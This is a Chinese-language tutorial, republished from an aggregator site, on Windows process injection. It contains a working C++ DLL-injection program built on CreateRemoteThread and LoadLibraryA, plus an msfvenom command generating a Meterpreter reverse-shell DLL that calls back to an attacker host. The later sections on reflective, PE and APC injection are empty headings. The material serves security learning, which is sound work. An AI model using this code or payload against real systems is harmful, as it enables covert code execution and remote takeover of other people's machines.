Windows上的进程注入

发布时间:2022-06-20 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Windows上的进程注入脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

一、概念

进程注入,是在正在运行的进程中注入自己代码并运行的一种方法。

我个人的理解,进程注入可以分为线程注入、dll注入、以及PE注入。

线程注入,也是最简单的进程注入,通过创建远程线程的方式在目标进程创建一个线程,执行自己的任务。

  1. dll注入,通过编写一个自己的dll库文件,并把它注入到目标进程的内存中,从而在目标进程中运行自己库中的代码。
  2. PE注入,通过编写一个自己的可执行PE文件,用它替换目标进程的代码段等内容,让目标进程执行自己的代码。

简而言之,进程注入的目的就是让目标进程执行自己编写的代码,那么也可以叫代码注入。

二、dll注入

每个dll库都有一个入口函数DllMain,进程会在特定情况下调用该函数:

  1. 进程加载该dll
  2. 进程卸载该dll
  3. dll在被加载后创建了新线程
  4. dll在被加载后一个线程被终止

利用该特性,我们可以在DllMain函数中调用我们想要的函数,这样在该dll库被加载进内存时就会去调用我们预设的函数。

首先使用 CreateToolhelp32Snapshot 拍摄快照获取目标进程pid,然后使用 OpenProcess 获取进程句柄。Windows系统默认开启地址随机化(ASLR安全机制),所以每次开机启动时系统DLL加载基址都不一样。部分系统dll(kernel32.dll,ntdll.dll)的加载地址,在每次启动时其基址可以发生改变,但是启动之后在每个进程中的虚拟地址基址都是固定的。因此,我们可以在攻击进程中使用GetProcAddress函数获得本进程中LoadLibraryA函数的地址,同时该地址等于目标进程中该函数的地址(kernel32和ntdll库每个用户进程都是必须加载的)。Microsoft提供 CreateRemoteThread 函数创建在另一个进程的虚拟地址空间中运行的线程。通过远程线程执行LoadLibraryA函数去加载目标dll。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess, //进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes, //一般可为NULL
  SIZE_T                 dwStackSize,    // 0即可
  LPTHREAD_START_ROUTINE lpStartAddress,  //执行函数地址
  LPVOID                 lpParameter,   //函数参数
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

我们也可以使用msf生成一个dll用于攻击,该dll被加载后会开启反弹一个shell。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=2333 -f dll -o inject.dll

这里是用火绒剑观察到的测试进程Test2.exe在注入前的模块列表。

Windows上的进程注入

 下面是测试进程Test2.exe在注入后的模块列表,我们可以观察到reflective_dll.dll已经被目标进程加载进内存了。

Windows上的进程注入

 下面是我关于dll注入的实现代码。

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>


using namespace std;


int main() {

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    //通过遍历进程快照找到目标进程,获得其PID。因为OpenProcess函数需要PID作为输入。
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bFlag = Process32First(hProcessSnap, &pe32);
    DWORD pid = -1;

    while (bFlag) {
        if (strcmp(pe32.szExeFile, "Test2.exe") == 0) {
            pid = pe32.th32ProcessID;
        }
        bFlag = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    //通过OpenProcess获得目标进程的句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL) {
        return -1;
    }
    //向目标进程申请一块空间存储要加载的dll的路径
    LPVOID pszDllName = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    char szDllName[100] = "D:\逆向学习资源\进程注入\ReflectiveDLLInjection-master\bin\reflective_dll.dll";
    BOOL bRet = WriteProcessMemory(hProcess, pszDllName, szDllName, MAX_PATH, NULL);
    if (!bRet) {
        return -1;
    }
    //获取LoadLibraryA函数的地址,系统库的地址在每个进程中虚拟地址都是不变的。
    PVOID LoadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    //在目标进程中创建远程线程执行LoadLibraryA函数加载我们的dll库,目标进程只会操作其进程空间内的内容
    HANDLE m_hInjecthread = CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE)LoadLibraryAddr, pszDllName,NULL,NULL);
    //释放申请的空间
    BOOL bRes = VirtualFreeEx(hProcess, pszDllName,4096, MEM_DECOMMIT);

    if (NULL == bRes)
    {
        return -1;
    }
    //等待线程工作结束后关闭句柄
    DWORD dw = WaitForSingleObject(m_hInjecthread, -1);
    if (dw) {
        CloseHandle(m_hInjecthread);
    }
    CloseHandle(hProcess);

    system("pause");
    return 0;
}

 三、放射式dll注入

 

 

四、PE注入

 

五、APC注入

 

六、优化升级

 

脚本宝典总结

以上是脚本宝典为你收集整理的Windows上的进程注入全部内容,希望文章能够帮你解决Windows上的进程注入所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: